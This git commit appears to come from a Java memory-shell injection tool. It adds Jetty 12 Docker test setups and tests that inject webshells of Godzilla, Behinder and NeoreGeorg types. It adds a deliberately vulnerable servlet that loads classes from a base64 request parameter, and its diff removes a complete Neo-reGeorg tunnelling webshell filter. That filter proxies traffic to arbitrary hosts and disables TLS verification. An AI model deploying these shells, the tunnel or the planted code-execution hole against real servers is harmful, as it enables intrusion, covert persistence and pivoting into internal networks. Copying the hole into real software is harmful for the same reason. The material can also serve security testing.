test: add jetty ee8 ~ ee10 cases

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent 838bfa0e8a
commit d52f4726aa
14 changed files with 379 additions and 550 deletions
@@ -0,0 +1,7 @@
FROM jetty:12.0-jre21
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee10-deploy
EXPOSE 8080
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
@@ -0,0 +1,7 @@
FROM jetty:12.0-jre21
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee8-deploy
EXPOSE 8080
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
@@ -0,0 +1,7 @@
FROM jetty:12.0-jre21
RUN java -jar /usr/local/jetty/start.jar --add-modules=ee9-deploy
EXPOSE 8080
CMD ["java", "-jar", "/usr/local/jetty/start.jar"]
@@ -0,0 +1,12 @@
services:
jetty1221ee10:
build:
dockerfile: ./Dockerfile-ee10
context: .
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war
@@ -0,0 +1,12 @@
services:
jetty1221ee8:
build:
dockerfile: ./Dockerfile-ee8
context: .
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
@@ -0,0 +1,12 @@
services:
jetty1221ee9:
build:
dockerfile: ./Dockerfile-ee9
context: .
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war
@@ -17,6 +17,7 @@ import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
@@ -33,7 +34,7 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j @Slf4j
@Testcontainers @Testcontainers
public class Jetty11ContainerTest { public class Jetty11ContainerTest {
public static final String imageName = "jetty:11-jre11"; public static final String imageName = "jetty:11.0-jre17";
static Network network = Network.newNetwork(); static Network network = Network.newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
@@ -52,12 +53,19 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_SERVLET,
ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta unSupportedCases, List.of(ShellTool.AntSword)
); );
} }
@@ -70,6 +78,6 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
} }
} }
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty12ee10ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee10";
public static final String serviceName = "jetty1221ee10";
@Container
public static final DockerComposeContainer<?> compose =
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml"))
.withExposedService(serviceName, 8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty12ee8ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee8";
public static final String serviceName = "jetty1221ee8";
@Container
public static final DockerComposeContainer<?> compose =
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml"))
.withExposedService(serviceName, 8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty12ee9ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee9";
public static final String serviceName = "jetty1221ee9";
@Container
public static final DockerComposeContainer<?> compose =
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml"))
.withExposedService(serviceName, 8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
}
}
@@ -0,0 +1,54 @@
package jakarta;
import jakarta.servlet.*;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class Base64ClassLoaderServlet extends ClassLoader implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String data = req.getParameter("data");
try {
byte[] bytes = decodeBase64(data);
defineClass(null, bytes, 0, bytes.length).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static byte[] decodeBase64(String base64Str) throws Exception {
try {
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception var4) {
Class<?> decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
}
@@ -6,15 +6,7 @@ import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse; import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -9,4 +9,39 @@
<welcome-file-list> <welcome-file-list>
<welcome-file>index.html</welcome-file> <welcome-file>index.html</welcome-file>
</welcome-file-list> </welcome-file-list>
<servlet>
<servlet-name>test</servlet-name>
<servlet-class>jakarta.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>jakarta.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/upload</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>java-deserialize</servlet-name>
<servlet-class>jakarta.JavaReadObjServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>java-deserialize</servlet-name>
<url-pattern>/java_deserialize</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>b64</servlet-name>
<servlet-class>jakarta.Base64ClassLoaderServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>b64</servlet-name>
<url-pattern>/b64</url-pattern>
</servlet-mapping>
</web-app> </web-app>
@@ -1,536 +0,0 @@
import javax.net.ssl.*;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.*;
/**
* @Modifier c0ny1, L, BeichenDream
* @CreateDate 2021-08-17
* @Description 将 Neo-reGeorg jsp 服务端改为 java 代码,提高兼容性
*/
public class NeoreGeorg implements Filter, HostnameVerifier, X509TrustManager {
private char[] en;
private byte[] de;
public static java.util.Map<String, Object> sessions = new java.util.HashMap<String, Object>();
public static Map<String, Object> namespace = new HashMap<String, Object>();
String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm";
String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn==";
byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1};
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
Object[] args = new Object[]{
request,
response,
chars.toCharArray(),
base64Bytes,
200,
513,
524288,
hello,
1447564139,
0,
0,
0,
};
equals(args);
return;
} catch (Exception ignored) {
}
filterChain.doFilter(servletRequest, servletResponse);
}
public boolean equals(Object obj) {
try {
Object[] args = (Object[]) obj;
HttpServletRequest request = (HttpServletRequest) args[0];
HttpServletResponse response = (HttpServletResponse) args[1];
en = (char[]) args[2];
de = (byte[]) args[3];
int HTTPCODE = (Integer) args[4];
int READBUF = (Integer) args[5];
int MAXREADSIZE = (Integer) args[6];
String GeorgHello = (String) args[7];
int BLV_L_OFFSET = (Integer) args[8];
int USE_REQUEST_TEMPLATE = (Integer) args[9];
int START_INDEX = (Integer) args[10];
int END_INDEX = (Integer) args[11];
int DATA = 1;
int CMD = 2;
int MARK = 3;
int STATUS = 4;
int ERROR = 5;
int IP = 6;
int PORT = 7;
int REDIRECTURL = 8;
int FORCEREDIRECT = 9;
Writer out = response.getWriter();
Object[] info = new Object[40];
Object[] rinfo = new Object[40];
String requestDataHead = "";
String requestDataTail = "";
try {
if (request.getContentLength() != -1) {
StringBuilder inputData = new StringBuilder();
InputStream in = request.getInputStream();
while (true) {
int buffLen = in.available();
if (buffLen == -1) {
break;
}
byte[] buff = new byte[buffLen];
if (in.read(buff) == -1) {
break;
}
inputData.append(new String(buff));
}
if (USE_REQUEST_TEMPLATE == 1) {
requestDataHead = inputData.substring(0, START_INDEX);
requestDataTail = inputData.substring(inputData.length() - END_INDEX, inputData.length());
inputData = new StringBuilder(inputData.substring(START_INDEX));
inputData = new StringBuilder(inputData.substring(0, inputData.length() - END_INDEX));
}
byte[] data = b64de(inputData.toString());
info = blv_decode(data, BLV_L_OFFSET);
}
} catch (Exception e) {
out.write(e.toString());
out.flush();
out.close();
return false;
}
String rUrl = (String) info[REDIRECTURL];
if (rUrl != null) {
String force = (String) info[FORCEREDIRECT];
if (force.compareTo("TRUE") == 0 || !islocal(rUrl)) {
info[REDIRECTURL] = null;
info[FORCEREDIRECT] = null;
response.reset();
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true);
// ignore ssl verify
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext ctx = SSLContext.getInstance("SSL");
ctx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(ctx.getSocketFactory());
}
Enumeration enu = request.getHeaderNames();
List<String> keys = Collections.list(enu);
Collections.reverse(keys);
for (String key : keys) {
String value = request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
if (request.getContentLength() != -1) {
OutputStream output;
try {
output = conn.getOutputStream();
} catch (Exception e) {
return false;
}
String newData = requestDataHead + b64en(blv_encode(info, BLV_L_OFFSET)) + requestDataTail;
byte[] data = newData.getBytes();
output.write(data, 0, data.length);
output.flush();
output.close();
}
for (String key : conn.getHeaderFields().keySet()) {
if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) {
String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin;
if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream();
if (hin == null) {
response.setStatus(HTTPCODE);
return false;
}
}
int i;
byte[] buffer = new byte[1024];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
}
String responseBody = baos.toString();
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody.trim());
out.flush();
out.close();
return false;
}
}
response.resetBuffer();
response.setStatus(HTTPCODE);
String cmd = (String) info[CMD];
if (cmd != null) {
String mark = (String) info[MARK];
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = (String) info[IP];
int port = Integer.parseInt((String) info[PORT]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.socket().connect(new InetSocketAddress(target, port), 3000);
socketChannel.configureBlocking(false);
sessions.put(mark, socketChannel);
rinfo[STATUS] = "OK";
} catch (Exception e) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = e.toString();
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
try {
socketChannel.socket().close();
} catch (Exception e) {
}
sessions.remove(mark);
} else if (cmd.compareTo("READ") == 0) {
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
try {
if (socketChannel != null) {
ByteBuffer buf = ByteBuffer.allocate(READBUF);
int bytesRead = socketChannel.read(buf);
int maxRead = MAXREADSIZE;
int readLen = 0;
ByteArrayOutputStream readData = new ByteArrayOutputStream();
while (bytesRead > 0) {
byte[] block = new byte[bytesRead];
System.arraycopy(buf.array(), 0, block, 0, bytesRead);
readData.write(block);
((java.nio.Buffer) buf).clear();
readLen += bytesRead;
if (bytesRead < READBUF || readLen >= maxRead) {
rinfo[DATA] = readData.toByteArray();
break;
}
bytesRead = socketChannel.read(buf);
}
}
rinfo[STATUS] = "OK";
} catch (Exception e) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = e.toString();
}
} else if (cmd.compareTo("FORWARD") == 0) {
SocketChannel socketChannel = (SocketChannel) sessions.get(mark);
try {
byte[] writeData = (byte[]) info[DATA];
ByteBuffer buf = ByteBuffer.allocate(writeData.length);
buf.put(writeData);
buf.flip();
while (buf.hasRemaining()) {
socketChannel.write(buf);
}
rinfo[STATUS] = "OK";
} catch (Exception e) {
rinfo[STATUS] = "FAIL";
rinfo[ERROR] = e.toString();
socketChannel.socket().close();
}
}
out.write(b64en(blv_encode(rinfo, BLV_L_OFFSET)));
out.flush();
out.close();
} else {
out.write(new String(b64de(GeorgHello)));
out.flush();
out.close();
}
} catch (Exception e) {
}
return false;
}
public String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int b1, b2, b3;
while (i < len) {
b1 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("==");
break;
}
b2 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("=");
break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
}
return sb.toString();
}
public byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
int b1, b2, b3, b4;
while (i < len) {
do {
b1 = de[data[i++]];
} while (i < len && b1 == -1);
if (b1 == -1) {
break;
}
do {
b2 = de[data[i++]];
} while (i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
}
return buf.toByteArray();
}
static String headerkey(String str) throws Exception {
String out = "";
for (String block : str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration<InetAddress> addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))
return true;
}
}
return false;
}
public static Object[] blv_decode(byte[] data, Integer offset) {
Object[] info = new Object[40];
int i = 0;
int data_len = data.length;
int b;
byte[] length = new byte[4];
ByteArrayInputStream dataInput = new ByteArrayInputStream(data);
while (i < data_len) {
b = dataInput.read();
dataInput.read(length, 0, length.length);
int l = bytesToInt(length) - offset;
byte[] v = new byte[l];
dataInput.read(v, 0, v.length);
i += (5 + l);
// 9 is BLVHEAD_LEN
if (b > 1 && b <= 9) {
info[b] = new String(v);
} else {
info[b] = v;
}
}
return info;
}
public static byte[] blv_encode(Object[] info, Integer offset) {
info[0] = randBytes(5, 20);
info[39] = randBytes(5, 20);
ByteArrayOutputStream buf = new ByteArrayOutputStream();
for (int b = 0; b < info.length; b++) {
if (info[b] != null) {
Object o = info[b];
byte[] v;
if (o instanceof String) {
v = ((String) o).getBytes();
} else {
v = (byte[]) o;
}
buf.write(b);
try {
buf.write(intToBytes(v.length + offset));
buf.write(v);
} catch (Exception e) {
}
}
}
return buf.toByteArray();
}
public static Object invokeMethod(Object obj, String methodName, Object[] args) throws Exception {
Class[] argTypes = new Class[args.length];
for (int i = 0; i < args.length; i++) {
Class argType = args[i].getClass();
if (Integer.class.isAssignableFrom(argType)) {
argType = int.class;
} else if (Long.class.isAssignableFrom(argType)) {
argType = long.class;
} else if (Short.class.isAssignableFrom(argType)) {
argType = short.class;
}
argTypes[i] = argType;
}
return invokeMethod2(obj, methodName, argTypes, args);
}
public static Object invokeMethod2(Object obj, String methodName, Class[] argTypes, Object[] args) throws Exception {
Class clazz = obj.getClass();
Method method = clazz.getMethod(methodName, argTypes);
if (!method.isAccessible()) {
method.setAccessible(true);
}
return method.invoke(obj, args);
}
public static byte[] randBytes(int min, int max) {
Random r = new Random();
int len = r.nextInt((max - min) + 1) + min;
byte[] randbytes = new byte[len];
r.nextBytes(randbytes);
return randbytes;
}
public static int bytesToInt(byte[] bytes) {
int i;
i = (bytes[3] & 0xff)
| ((bytes[2] & 0xff) << 8)
| ((bytes[1] & 0xff) << 16)
| ((bytes[0] & 0xff) << 24);
return i;
}
public static byte[] intToBytes(int value) {
byte[] src = new byte[4];
src[3] = (byte) (value & 0xFF);
src[2] = (byte) ((value >> 8) & 0xFF);
src[1] = (byte) ((value >> 16) & 0xFF);
src[0] = (byte) ((value >> 24) & 0xFF);
return src;
}
public boolean verify(String s, SSLSession sslSession) {
return true;
}
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}